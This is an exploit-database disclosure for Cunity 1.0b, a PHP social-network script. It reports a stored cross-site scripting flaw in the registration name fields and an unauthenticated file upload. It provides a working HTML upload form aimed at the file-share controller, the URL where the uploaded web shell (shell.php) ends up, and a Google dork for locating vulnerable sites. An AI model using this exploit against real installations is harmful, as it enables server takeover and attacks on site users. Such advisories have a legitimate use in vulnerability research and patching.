########################################## # Exploit Title: Cunity 1.0b - XSS/FileUpload Vulnerabilities # Date: 2013-03-24 # Author: DaOne aka Mocking Bird # Home: 1337day Inj3ct0r Exploit Database # Vendor Homepage: http://www.cunity.net/ # Software Link: http://sourceforge.net/projects/cunity/files/ # Category: webapps/php # Version: 1.0beta # Tested on: Apache(CentOS) PHP/5.2.17 # Google dork: "Powered by CUNITY" ########################################## 1-XSS Cunity contains a flaw that allows a remote cross-site scripting (XSS) attack This flaw exists because the application does not validate the 'firstname, lastname' parameter in Registration script code would execute in members.php and profile.php?user= 2-File Upload <form action="http://{host}/Cunity-V1.0b/controllers/ajaxFileShareController.php" method="post" enctype="multipart/form-data" > <input type="file" name="fu"> <input type="submit" value="Upload"></form> >>http://{host}/Cunity-V1.0b/files/_files/user/shell.php<< note: file upload vulnerability exists only if Filesharing Module <Setting>[Filepath] is correct /home/user/www/Cunity-V1.0b/files/